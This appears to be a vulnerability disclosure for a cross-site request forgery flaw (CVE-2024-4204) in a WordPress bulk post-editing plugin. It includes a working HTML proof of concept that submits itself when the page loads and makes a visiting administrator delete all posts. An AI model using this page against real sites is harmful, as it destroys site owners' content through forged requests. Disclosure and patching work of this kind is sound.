Description

The Bulk Posts Editing For WordPress plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.2.3. This is due to missing or incorrect nonce validation on the plugin’s AJAX actions.. This makes it possible for unauthenticated attackers to create and duplicate posts, retrieve post content, and modify post taxonomy among other things via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Severity

4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Affected Version

<= 4.2.3

PoC :

<html>
  <!-- Made by eneriii - https://twitter.com/aillesim -->
  <body>
    <form action="http://[ASSETS]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpbel&#95;delete&#95;posts" />
      <input type="hidden" name="delete&#95;type" value="all" />
      <input type="hidden" name="filter&#95;data&#91;search&#95;type&#93;" value="pro&#95;search" />
      <input type="hidden" name="filter&#95;data&#91;post&#95;ids&#93;&#91;operator&#93;" value="exact" />
      <input type="hidden" name="filter&#95;data&#91;post&#95;ids&#93;&#91;parent&#95;only&#93;" value="no" />
      <input type="hidden" name="filter&#95;data&#91;post&#95;ids&#93;&#91;value&#93;" value="" />
      <input type="hidden" name="filter&#95;data&#91;post&#95;title&#93;&#91;operator&#93;" value="like" />
      <input type="hidden" name="filter&#95;data&#91;post&#95;title&#93;&#91;value&#93;" value="" />
      <input type="hidden" name="filter&#95;data&#91;post&#95;content&#93;&#91;operator&#93;" value="like" />
      <input type="hidden" name="filter&#95;data&#91;post&#95;content&#93;&#91;value&#93;" value="" />
      <input type="hidden" name="filter&#95;data&#91;taxonomies&#93;&#91;0&#93;&#91;taxonomy&#93;" value="category" />
      <input type="hidden" name="filter&#95;data&#91;taxonomies&#93;&#91;0&#93;&#91;operator&#93;" value="or" />
      <input type="hidden" name="filter&#95;data&#91;taxonomies&#93;&#91;1&#93;&#91;taxonomy&#93;" value="post&#95;tag" />
      <input type="hidden" name="filter&#95;data&#91;taxonomies&#93;&#91;1&#93;&#91;operator&#93;" value="or" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Reference

  • https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ithemeland-bulk-posts-editing-lite/bulk-posts-editing-for-wordpress-423-cross-site-request-forgery
  • https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3085134%40ithemeland-bulk-posts-editing-lite%2Ftrunk&old=2946926%40ithemeland-bulk-posts-editing-lite%2Ftrunk&sfp_email=&sfph_mail=#file51
  • https://www.cve.org/CVERecord?id=CVE-2024-4204